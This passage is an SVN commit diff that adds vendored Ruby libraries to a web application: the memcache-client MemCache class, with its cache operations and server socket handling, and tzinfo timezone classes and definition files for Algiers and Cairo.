+  ##
+  # Returns whether there is at least one active server for the object.
+
+  def active?
+    not @servers.empty?
+  end
+
+  ##
+  # Returns whether or not the cache object was created read only.
+
+  def readonly?
+    @readonly
+  end
+
+  ##
+  # Set the servers that the requests will be distributed between.  Entries
+  # can be either strings of the form "hostname:port" or
+  # "hostname:port:weight" or MemCache::Server objects.
+
+  def servers=(servers)
+    # Create the server objects.
+    @servers = servers.collect do |server|
+      case server
+      when String
+        host, port, weight = server.split ':', 3
+        port ||= DEFAULT_PORT
+        weight ||= DEFAULT_WEIGHT
+        Server.new self, host, port, weight
+      when Server
+        if server.memcache.multithread != @multithread then
+          raise ArgumentError, "can't mix threaded and non-threaded servers"
+        end
+        server
+      else
+        raise TypeError, "cannot convert #{server.class} into MemCache::Server"
+      end
+    end
+
+    # Create an array of server buckets for weight selection of servers.
+    @buckets = []
+    @servers.each do |server|
+      server.weight.times { @buckets.push(server) }
+    end
+  end
+
+  ##
+  # Decrements the value for +key+ by +amount+ and returns the new value.
+  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
+  # 0.  +key+ can not be decremented below 0.
+
+  def decr(key, amount = 1)
+    server, cache_key = request_setup key
+
+    if @multithread then
+      threadsafe_cache_decr server, cache_key, amount
+    else
+      cache_decr server, cache_key, amount
+    end
+  rescue TypeError, SocketError, SystemCallError, IOError => err
+    handle_error server, err
+  end
+
+  ##
+  # Retrieves +key+ from memcache.  If +raw+ is false, the value will be
+  # unmarshalled.
+
+  def get(key, raw = false)
+    server, cache_key = request_setup key
+
+    value = if @multithread then
+              threadsafe_cache_get server, cache_key
+            else
+              cache_get server, cache_key
+            end
+
+    return nil if value.nil?
+
+    value = Marshal.load value unless raw
+
+    return value
+  rescue TypeError, SocketError, SystemCallError, IOError => err
+    handle_error server, err
+  end
+
+  ##
+  # Retrieves multiple values from memcached in parallel, if possible.
+  #
+  # The memcached protocol supports the ability to retrieve multiple
+  # keys in a single request.  Pass in an array of keys to this method
+  # and it will:
+  #
+  # 1. map the key to the appropriate memcached server
+  # 2. send a single request to each server that has one or more key values
+  #
+  # Returns a hash of values.
+  #
+  #   cache["a"] = 1
+  #   cache["b"] = 2
+  #   cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 }
+
+  def get_multi(*keys)
+    raise MemCacheError, 'No active servers' unless active?
+
+    keys.flatten!
+    key_count = keys.length
+    cache_keys = {}
+    server_keys = Hash.new { |h,k| h[k] = [] }
+
+    # map keys to servers
+    keys.each do |key|
+      server, cache_key = request_setup key
+      cache_keys[cache_key] = key
+      server_keys[server] << cache_key
+    end
+
+    results = {}
+
+    server_keys.each do |server, keys_for_server|
+      keys_for_server = keys_for_server.join ' '
+      values = if @multithread then
+                 threadsafe_cache_get_multi server, keys_for_server
+               else
+                 cache_get_multi server, keys_for_server
+               end
+      values.each do |key, value|
+        results[cache_keys[key]] = Marshal.load value
+      end
+    end
+
+    return results
+  rescue TypeError, SocketError, SystemCallError, IOError => err
+    handle_error server, err
+  end
+
+  ##
+  # Increments the value for +key+ by +amount+ and retruns the new value.
+  # +key+ must already exist.  If +key+ is not an integer, it is assumed to be
+  # 0.
+
+  def incr(key, amount = 1)
+    server, cache_key = request_setup key
+
+    if @multithread then
+      threadsafe_cache_incr server, cache_key, amount
+    else
+      cache_incr server, cache_key, amount
+    end
+  rescue TypeError, SocketError, SystemCallError, IOError => err
+    handle_error server, err
+  end
+
+  ##
+  # Add +key+ to the cache with value +value+ that expires in +expiry+
+  # seconds.  If +raw+ is true, +value+ will not be Marshalled.
+  #
+  # Warning: Readers should not call this method in the event of a cache miss;
+  # see MemCache#add.
+
+  def set(key, value, expiry = 0, raw = false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    server, cache_key = request_setup key
+    socket = server.socket
+
+    value = Marshal.dump value unless raw
+    command = "set #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n"
+
+    begin
+      @mutex.lock if @multithread
+      socket.write command
+      result = socket.gets
+      raise_on_error_response! result
+      result
+    rescue SocketError, SystemCallError, IOError => err
+      server.close
+      raise MemCacheError, err.message
+    ensure
+      @mutex.unlock if @multithread
+    end
+  end
+
+  ##
+  # Add +key+ to the cache with value +value+ that expires in +expiry+
+  # seconds, but only if +key+ does not already exist in the cache.
+  # If +raw+ is true, +value+ will not be Marshalled.
+  #
+  # Readers should call this method in the event of a cache miss, not
+  # MemCache#set or MemCache#[]=.
+
+  def add(key, value, expiry = 0, raw = false)
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    server, cache_key = request_setup key
+    socket = server.socket
+
+    value = Marshal.dump value unless raw
+    command = "add #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n"
+
+    begin
+      @mutex.lock if @multithread
+      socket.write command
+      result = socket.gets
+      raise_on_error_response! result
+      result
+    rescue SocketError, SystemCallError, IOError => err
+      server.close
+      raise MemCacheError, err.message
+    ensure
+      @mutex.unlock if @multithread
+    end
+  end
+
+  ##
+  # Removes +key+ from the cache in +expiry+ seconds.
+
+  def delete(key, expiry = 0)
+    @mutex.lock if @multithread
+
+    raise MemCacheError, "No active servers" unless active?
+    cache_key = make_cache_key key
+    server = get_server_for_key cache_key
+
+    sock = server.socket
+    raise MemCacheError, "No connection to server" if sock.nil?
+
+    begin
+      sock.write "delete #{cache_key} #{expiry}\r\n"
+      result = sock.gets
+      raise_on_error_response! result
+      result
+    rescue SocketError, SystemCallError, IOError => err
+      server.close
+      raise MemCacheError, err.message
+    end
+  ensure
+    @mutex.unlock if @multithread
+  end
+
+  ##
+  # Flush the cache from all memcache servers.
+
+  def flush_all
+    raise MemCacheError, 'No active servers' unless active?
+    raise MemCacheError, "Update of readonly cache" if @readonly
+    begin
+      @mutex.lock if @multithread
+      @servers.each do |server|
+        begin
+          sock = server.socket
+          raise MemCacheError, "No connection to server" if sock.nil?
+          sock.write "flush_all\r\n"
+          result = sock.gets
+          raise_on_error_response! result
+          result
+        rescue SocketError, SystemCallError, IOError => err
+          server.close
+          raise MemCacheError, err.message
+        end
+      end
+    ensure
+      @mutex.unlock if @multithread
+    end
+  end
+
+  ##
+  # Reset the connection to all memcache servers.  This should be called if
+  # there is a problem with a cache lookup that might have left the connection
+  # in a corrupted state.
+
+  def reset
+    @servers.each { |server| server.close }
+  end
+
+  ##
+  # Returns statistics for each memcached server.  An explanation of the
+  # statistics can be found in the memcached docs:
+  #
+  # http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt
+  #
+  # Example:
+  #
+  #   >> pp CACHE.stats
+  #   {"localhost:11211"=>
+  #     {"bytes"=>4718,
+  #      "pid"=>20188,
+  #      "connection_structures"=>4,
+  #      "time"=>1162278121,
+  #      "pointer_size"=>32,
+  #      "limit_maxbytes"=>67108864,
+  #      "cmd_get"=>14532,
+  #      "version"=>"1.2.0",
+  #      "bytes_written"=>432583,
+  #      "cmd_set"=>32,
+  #      "get_misses"=>0,
+  #      "total_connections"=>19,
+  #      "curr_connections"=>3,
+  #      "curr_items"=>4,
+  #      "uptime"=>1557,
+  #      "get_hits"=>14532,
+  #      "total_items"=>32,
+  #      "rusage_system"=>0.313952,
+  #      "rusage_user"=>0.119981,
+  #      "bytes_read"=>190619}}
+  #   => nil
+
+  def stats
+    raise MemCacheError, "No active servers" unless active?
+    server_stats = {}
+
+    @servers.each do |server|
+      sock = server.socket
+      raise MemCacheError, "No connection to server" if sock.nil?
+
+      value = nil
+      begin
+        sock.write "stats\r\n"
+        stats = {}
+        while line = sock.gets do
+          raise_on_error_response! line
+          break if line == "END\r\n"
+          if line =~ /\ASTAT ([\w]+) ([\w\.\:]+)/ then
+            name, value = $1, $2
+            stats[name] = case name
+                          when 'version'
+                            value
+                          when 'rusage_user', 'rusage_system' then
+                            seconds, microseconds = value.split(/:/, 2)
+                            microseconds ||= 0
+                            Float(seconds) + (Float(microseconds) / 1_000_000)
+                          else
+                            if value =~ /\A\d+\Z/ then
+                              value.to_i
+                            else
+                              value
+                            end
+                          end
+          end
+        end
+        server_stats["#{server.host}:#{server.port}"] = stats
+      rescue SocketError, SystemCallError, IOError => err
+        server.close
+        raise MemCacheError, err.message
+      end
+    end
+
+    server_stats
+  end
+
+  ##
+  # Shortcut to get a value from the cache.
+
+  alias [] get
+
+  ##
+  # Shortcut to save a value in the cache.  This method does not set an
+  # expiration on the entry.  Use set to specify an explicit expiry.
+
+  def []=(key, value)
+    set key, value
+  end
+
+  protected
+
+  ##
+  # Create a key for the cache, incorporating the namespace qualifier if
+  # requested.
+
+  def make_cache_key(key)
+    if namespace.nil? then
+      key
+    else
+      "#{@namespace}:#{key}"
+    end
+  end
+
+  ##
+  # Pick a server to handle the request based on a hash of the key.
+
+  def get_server_for_key(key)
+    raise ArgumentError, "illegal character in key #{key.inspect}" if
+      key =~ /\s/
+    raise ArgumentError, "key too long #{key.inspect}" if key.length > 250
+    raise MemCacheError, "No servers available" if @servers.empty?
+    return @servers.first if @servers.length == 1
+
+    hkey = hash_for key
+
+    20.times do |try|
+      server = @buckets[hkey % @buckets.nitems]
+      return server if server.alive?
+      hkey += hash_for "#{try}#{key}"
+    end
+
+    raise MemCacheError, "No servers available"
+  end
+
+  ##
+  # Returns an interoperable hash value for +key+.  (I think, docs are
+  # sketchy for down servers).
+
+  def hash_for(key)
+    (key.crc32_ITU_T >> 16) & 0x7fff
+  end
+
+  ##
+  # Performs a raw decr for +cache_key+ from +server+.  Returns nil if not
+  # found.
+
+  def cache_decr(server, cache_key, amount)
+    socket = server.socket
+    socket.write "decr #{cache_key} #{amount}\r\n"
+    text = socket.gets
+    raise_on_error_response! text
+    return nil if text == "NOT_FOUND\r\n"
+    return text.to_i
+  end
+
+  ##
+  # Fetches the raw data for +cache_key+ from +server+.  Returns nil on cache
+  # miss.
+
+  def cache_get(server, cache_key)
+    socket = server.socket
+    socket.write "get #{cache_key}\r\n"
+    keyline = socket.gets # "VALUE <key> <flags> <bytes>\r\n"
+
+    if keyline.nil? then
+      server.close
+      raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+    end
+
+    raise_on_error_response! keyline
+    return nil if keyline == "END\r\n"
+
+    unless keyline =~ /(\d+)\r/ then
+      server.close
+      raise MemCacheError, "unexpected response #{keyline.inspect}"
+    end
+    value = socket.read $1.to_i
+    socket.read 2 # "\r\n"
+    socket.gets   # "END\r\n"
+    return value
+  end
+
+  ##
+  # Fetches +cache_keys+ from +server+ using a multi-get.
+
+  def cache_get_multi(server, cache_keys)
+    values = {}
+    socket = server.socket
+    socket.write "get #{cache_keys}\r\n"
+
+    while keyline = socket.gets do
+      return values if keyline == "END\r\n"
+      raise_on_error_response! keyline
+
+      unless keyline =~ /\AVALUE (.+) (.+) (.+)/ then
+        server.close
+        raise MemCacheError, "unexpected response #{keyline.inspect}"
+      end
+
+      key, data_length = $1, $3
+      values[$1] = socket.read data_length.to_i
+      socket.read(2) # "\r\n"
+    end
+
+    server.close
+    raise MemCacheError, "lost connection to #{server.host}:#{server.port}"
+  end
+
+  ##
+  # Performs a raw incr for +cache_key+ from +server+.  Returns nil if not
+  # found.
+
+  def cache_incr(server, cache_key, amount)
+    socket = server.socket
+    socket.write "incr #{cache_key} #{amount}\r\n"
+    text = socket.gets
+    raise_on_error_response! text
+    return nil if text == "NOT_FOUND\r\n"
+    return text.to_i
+  end
+
+  ##
+  # Handles +error+ from +server+.
+
+  def handle_error(server, error)
+    server.close if server
+    new_error = MemCacheError.new error.message
+    new_error.set_backtrace error.backtrace
+    raise new_error
+  end
+
+  ##
+  # Performs setup for making a request with +key+ from memcached.  Returns
+  # the server to fetch the key from and the complete key to use.
+
+  def request_setup(key)
+    raise MemCacheError, 'No active servers' unless active?
+    cache_key = make_cache_key key
+    server = get_server_for_key cache_key
+    raise MemCacheError, 'No connection to server' if server.socket.nil?
+    return server, cache_key
+  end
+
+  def threadsafe_cache_decr(server, cache_key, amount) # :nodoc:
+    @mutex.lock
+    cache_decr server, cache_key, amount
+  ensure
+    @mutex.unlock
+  end
+
+  def threadsafe_cache_get(server, cache_key) # :nodoc:
+    @mutex.lock
+    cache_get server, cache_key
+  ensure
+    @mutex.unlock
+  end
+
+  def threadsafe_cache_get_multi(socket, cache_keys) # :nodoc:
+    @mutex.lock
+    cache_get_multi socket, cache_keys
+  ensure
+    @mutex.unlock
+  end
+
+  def threadsafe_cache_incr(server, cache_key, amount) # :nodoc:
+    @mutex.lock
+    cache_incr server, cache_key, amount
+  ensure
+    @mutex.unlock
+  end
+
+  def raise_on_error_response!(response)
+    if response =~ /\A(?:CLIENT_|SERVER_)?ERROR (.*)/
+      raise MemCacheError, $1.strip
+    end
+  end
+
+
+  ##
+  # This class represents a memcached server instance.
+
+  class Server
+
+    ##
+    # The amount of time to wait to establish a connection with a memcached
+    # server.  If a connection cannot be established within this time limit,
+    # the server will be marked as down.
+
+    CONNECT_TIMEOUT = 0.25
+
+    ##
+    # The amount of time to wait before attempting to re-establish a
+    # connection with a server that is marked dead.
+
+    RETRY_DELAY = 30.0
+
+    ##
+    # The host the memcached server is running on.
+
+    attr_reader :host
+
+    ##
+    # The port the memcached server is listening on.
+
+    attr_reader :port
+
+    ##
+    # The weight given to the server.
+
+    attr_reader :weight
+
+    ##
+    # The time of next retry if the connection is dead.
+
+    attr_reader :retry
+
+    ##
+    # A text status string describing the state of the server.
+
+    attr_reader :status
+
+    ##
+    # Create a new MemCache::Server object for the memcached instance
+    # listening on the given host and port, weighted by the given weight.
+
+    def initialize(memcache, host, port = DEFAULT_PORT, weight = DEFAULT_WEIGHT)
+      raise ArgumentError, "No host specified" if host.nil? or host.empty?
+      raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero?
+
+      @memcache = memcache
+      @host   = host
+      @port   = port.to_i
+      @weight = weight.to_i
+
+      @multithread = @memcache.multithread
+      @mutex = Mutex.new
+
+      @sock   = nil
+      @retry  = nil
+      @status = 'NOT CONNECTED'
+    end
+
+    ##
+    # Return a string representation of the server object.
+
+    def inspect
+      "<MemCache::Server: %s:%d [%d] (%s)>" % [@host, @port, @weight, @status]
+    end
+
+    ##
+    # Check whether the server connection is alive.  This will cause the
+    # socket to attempt to connect if it isn't already connected and or if
+    # the server was previously marked as down and the retry time has
+    # been exceeded.
+
+    def alive?
+      !!socket
+    end
+
+    ##
+    # Try to connect to the memcached server targeted by this object.
+    # Returns the connected socket object on success or nil on failure.
+
+    def socket
+      @mutex.lock if @multithread
+      return @sock if @sock and not @sock.closed?
+
+      @sock = nil
+
+      # If the host was dead, don't retry for a while.
+      return if @retry and @retry > Time.now
+
+      # Attempt to connect if not already connected.
+      begin
+        @sock = timeout CONNECT_TIMEOUT do
+          TCPSocket.new @host, @port
+        end
+        if Socket.constants.include? 'TCP_NODELAY' then
+          @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1
+        end
+        @retry  = nil
+        @status = 'CONNECTED'
+      rescue SocketError, SystemCallError, IOError, Timeout::Error => err
+        mark_dead err.message
+      end
+
+      return @sock
+    ensure
+      @mutex.unlock if @multithread
+    end
+
+    ##
+    # Close the connection to the memcached server targeted by this
+    # object.  The server is not considered dead.
+
+    def close
+      @mutex.lock if @multithread
+      @sock.close if @sock && [email protected]?
+      @sock   = nil
+      @retry  = nil
+      @status = "NOT CONNECTED"
+    ensure
+      @mutex.unlock if @multithread
+    end
+
+    private
+
+    ##
+    # Mark the server as dead and close its socket.
+
+    def mark_dead(reason = "Unknown error")
+      @sock.close if @sock && [email protected]?
+      @sock   = nil
+      @retry  = Time.now + RETRY_DELAY
+
+      @status = sprintf "DEAD: %s, will retry at %s", reason, @retry
+    end
+  end
+
+  ##
+  # Base MemCache exception class.
+
+  class MemCacheError < RuntimeError; end
+
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/info_timezone'
+
+module TZInfo
+
+  # A Timezone based on a DataTimezoneInfo.
+  class DataTimezone < InfoTimezone #:nodoc:
+    
+    # Returns the TimezonePeriod for the given UTC time. utc can either be
+    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
+    # information in utc is ignored (it is treated as a UTC time).        
+    #
+    # If no TimezonePeriod could be found, PeriodNotFound is raised.
+    def period_for_utc(utc)
+      info.period_for_utc(utc)
+    end
+    
+    # Returns the set of TimezonePeriod instances that are valid for the given
+    # local time as an array. If you just want a single period, use 
+    # period_for_local instead and specify how abiguities should be resolved.
+    # Raises PeriodNotFound if no periods are found for the given time.
+    def periods_for_local(local)
+      info.periods_for_local(local)
+    end    
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,228 @@
+#--
+# Copyright (c) 2006 Philip Ross
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+#++
+
+require 'tzinfo/time_or_datetime'
+require 'tzinfo/timezone_info'
+require 'tzinfo/timezone_offset_info'
+require 'tzinfo/timezone_period'
+require 'tzinfo/timezone_transition_info'
+
+module TZInfo
+  # Thrown if no offsets have been defined when calling period_for_utc or
+  # periods_for_local. Indicates an error in the timezone data.
+  class NoOffsetsDefined < StandardError
+  end
+    
+  # Represents a (non-linked) timezone defined in a data module.
+  class DataTimezoneInfo < TimezoneInfo #:nodoc:
+            
+    # Constructs a new TimezoneInfo with its identifier.
+    def initialize(identifier)   
+      super(identifier)
+      @offsets = {}
+      @transitions = []
+      @previous_offset = nil
+      @transitions_index = nil
+    end
+ 
+    # Defines a offset. The id uniquely identifies this offset within the
+    # timezone. utc_offset and std_offset define the offset in seconds of 
+    # standard time from UTC and daylight savings from standard time 
+    # respectively. abbreviation describes the timezone offset (e.g. GMT, BST,
+    # EST or EDT).
+    #
+    # The first offset to be defined is treated as the offset that applies
+    # until the first transition. This will usually be in Local Mean Time (LMT).
+    #
+    # ArgumentError will be raised if the id is already defined.
+    def offset(id, utc_offset, std_offset, abbreviation)
+      raise ArgumentError, 'Offset already defined' if @offsets.has_key?(id)
+      
+      offset = TimezoneOffsetInfo.new(utc_offset, std_offset, abbreviation)
+      @offsets[id] = offset
+      @previous_offset = offset unless @previous_offset
+    end
+    
+    # Defines a transition. Transitions must be defined in chronological order.
+    # ArgumentError will be raised if a transition is added out of order.
+    # offset_id refers to an id defined with offset. ArgumentError will be 
+    # raised if the offset_id cannot be found. numerator_or_time and
+    # denomiator specify the time the transition occurs as. See 
+    # TimezoneTransitionInfo for more detail about specifying times.
+    def transition(year, month, offset_id, numerator_or_time, denominator = nil)
+      offset = @offsets[offset_id]      
+      raise ArgumentError, 'Offset not found' unless offset
+            
+      if @transitions_index
+        if year < @last_year || (year == @last_year && month < @last_month)
+          raise ArgumentError, 'Transitions must be increasing date order'
+        end
+        
+        # Record the position of the first transition with this index.
+        index = transition_index(year, month)
+        @transitions_index[index] ||= @transitions.length
+                
+        # Fill in any gaps       
+        (index - 1).downto(0) do |i|
+          break if @transitions_index[i]
+          @transitions_index[i] = @transitions.length
+        end
+      else
+        @transitions_index = [@transitions.length]
+        @start_year = year
+        @start_month = month        
+      end
+      
+      @transitions << TimezoneTransitionInfo.new(offset, @previous_offset, 
+        numerator_or_time, denominator)
+      @last_year = year
+      @last_month = month             
+      @previous_offset = offset
+    end           
+    
+    # Returns the TimezonePeriod for the given UTC time.
+    # Raises NoOffsetsDefined if no offsets have been defined.
+    def period_for_utc(utc)
+      unless @transitions.empty?
+        utc = TimeOrDateTime.wrap(utc)               
+        index = transition_index(utc.year, utc.mon)
+        
+        start_transition = nil
+        start = transition_before_end(index)
+        if start
+          start.downto(0) do |i|
+            if @transitions[i].at <= utc
+              start_transition = @transitions[i]
+              break
+            end
+          end
+        end
+        
+        end_transition = nil
+        start = transition_after_start(index)      
+        if start
+          start.upto(@transitions.length - 1) do |i|
+            if @transitions[i].at > utc
+              end_transition = @transitions[i]
+              break
+            end
+          end
+        end
+               
+        if start_transition || end_transition
+          TimezonePeriod.new(start_transition, end_transition)
+        else
+          # Won't happen since there are transitions. Must always find one
+          # transition that is either >= or < the specified time.
+          raise 'No transitions found in search'
+        end        
+      else
+        raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset        
+        TimezonePeriod.new(nil, nil, @previous_offset)
+      end
+    end
+    
+    # Returns the set of TimezonePeriods for the given local time as an array.    
+    # Results returned are ordered by increasing UTC start date.
+    # Returns an empty array if no periods are found for the given time.
+    # Raises NoOffsetsDefined if no offsets have been defined.    
+    def periods_for_local(local)
+      unless @transitions.empty?
+        local = TimeOrDateTime.wrap(local)
+        index = transition_index(local.year, local.mon)
+        
+        result = []
+       
+        start_index = transition_after_start(index - 1)       
+        if start_index && @transitions[start_index].local_end > local           
+          if start_index > 0
+            if @transitions[start_index - 1].local_start <= local 
+              result << TimezonePeriod.new(@transitions[start_index - 1], @transitions[start_index])
+            end
+          else
+            result << TimezonePeriod.new(nil, @transitions[start_index])
+          end
+        end
+        
+        end_index = transition_before_end(index + 1)
+        
+        if end_index        
+          start_index = end_index unless start_index
+          
+          start_index.upto(transition_before_end(index + 1)) do |i|
+            if @transitions[i].local_start <= local
+              if i + 1 < @transitions.length
+                if @transitions[i + 1].local_end > local
+                  result << TimezonePeriod.new(@transitions[i], @transitions[i + 1])
+                end
+              else
+                result << TimezonePeriod.new(@transitions[i], nil)
+              end
+            end
+          end
+        end
+        
+        result
+      else
+        raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset
+        [TimezonePeriod.new(nil, nil, @previous_offset)]
+      end
+    end
+    
+    private
+      # Returns the index into the @transitions_index array for a given year 
+      # and month.
+      def transition_index(year, month)
+        index = (year - @start_year) * 2
+        index += 1 if month > 6
+        index -= 1 if @start_month > 6
+        index
+      end
+      
+      # Returns the index into @transitions of the first transition that occurs
+      # on or after the start of the given index into @transitions_index.
+      # Returns nil if there are no such transitions.
+      def transition_after_start(index)
+        if index >= @transitions_index.length
+          nil
+        else
+          index = 0 if index < 0
+          @transitions_index[index]
+        end
+      end
+      
+      # Returns the index into @transitions of the first transition that occurs
+      # before the end of the given index into @transitions_index.
+      # Returns nil if there are no such transitions.
+      def transition_before_end(index)
+        index = index + 1
+        
+        if index <= 0
+          nil
+        elsif index >= @transitions_index.length          
+          @transitions.length - 1
+        else      
+          @transitions_index[index] - 1          
+        end
+      end            
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,55 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Algiers
+        include TimezoneDefinition
+        
+        timezone 'Africa/Algiers' do |tz|
+          tz.offset :o0, 732, 0, :LMT
+          tz.offset :o1, 561, 0, :PMT
+          tz.offset :o2, 0, 0, :WET
+          tz.offset :o3, 0, 3600, :WEST
+          tz.offset :o4, 3600, 0, :CET
+          tz.offset :o5, 3600, 3600, :CEST
+          
+          tz.transition 1891, 3, :o1, 2170625843, 900
+          tz.transition 1911, 3, :o2, 69670267013, 28800
+          tz.transition 1916, 6, :o3, 58104707, 24
+          tz.transition 1916, 10, :o2, 58107323, 24
+          tz.transition 1917, 3, :o3, 58111499, 24
+          tz.transition 1917, 10, :o2, 58116227, 24
+          tz.transition 1918, 3, :o3, 58119899, 24
+          tz.transition 1918, 10, :o2, 58124963, 24
+          tz.transition 1919, 3, :o3, 58128467, 24
+          tz.transition 1919, 10, :o2, 58133699, 24
+          tz.transition 1920, 2, :o3, 58136867, 24
+          tz.transition 1920, 10, :o2, 58142915, 24
+          tz.transition 1921, 3, :o3, 58146323, 24
+          tz.transition 1921, 6, :o2, 58148699, 24
+          tz.transition 1939, 9, :o3, 58308443, 24
+          tz.transition 1939, 11, :o2, 4859173, 2
+          tz.transition 1940, 2, :o4, 29156215, 12
+          tz.transition 1944, 4, :o5, 58348405, 24
+          tz.transition 1944, 10, :o4, 4862743, 2
+          tz.transition 1945, 4, :o5, 58357141, 24
+          tz.transition 1945, 9, :o4, 58361147, 24
+          tz.transition 1946, 10, :o2, 58370411, 24
+          tz.transition 1956, 1, :o4, 4871003, 2
+          tz.transition 1963, 4, :o2, 58515203, 24
+          tz.transition 1971, 4, :o3, 41468400
+          tz.transition 1971, 9, :o2, 54774000
+          tz.transition 1977, 5, :o3, 231724800
+          tz.transition 1977, 10, :o4, 246236400
+          tz.transition 1978, 3, :o5, 259545600
+          tz.transition 1978, 9, :o4, 275274000
+          tz.transition 1979, 10, :o2, 309740400
+          tz.transition 1980, 4, :o3, 325468800
+          tz.transition 1980, 10, :o2, 341802000
+          tz.transition 1981, 5, :o4, 357523200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,219 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Africa
+      module Cairo
+        include TimezoneDefinition
+        
+        timezone 'Africa/Cairo' do |tz|
+          tz.offset :o0, 7500, 0, :LMT
+          tz.offset :o1, 7200, 0, :EET
+          tz.offset :o2, 7200, 3600, :EEST
+          
+          tz.transition 1900, 9, :o1, 695604503, 288
+          tz.transition 1940, 7, :o2, 29157905, 12
+          tz.transition 1940, 9, :o1, 19439227, 8
+          tz.transition 1941, 4, :o2, 29161193, 12
+          tz.transition 1941, 9, :o1, 19442027, 8
+          tz.transition 1942, 3, :o2, 29165405, 12
+          tz.transition 1942, 10, :o1, 19445275, 8
+          tz.transition 1943, 3, :o2, 29169785, 12
+          tz.transition 1943, 10, :o1, 19448235, 8
+          tz.transition 1944, 3, :o2, 29174177, 12
+          tz.transition 1944, 10, :o1, 19451163, 8
+          tz.transition 1945, 4, :o2, 29178737, 12
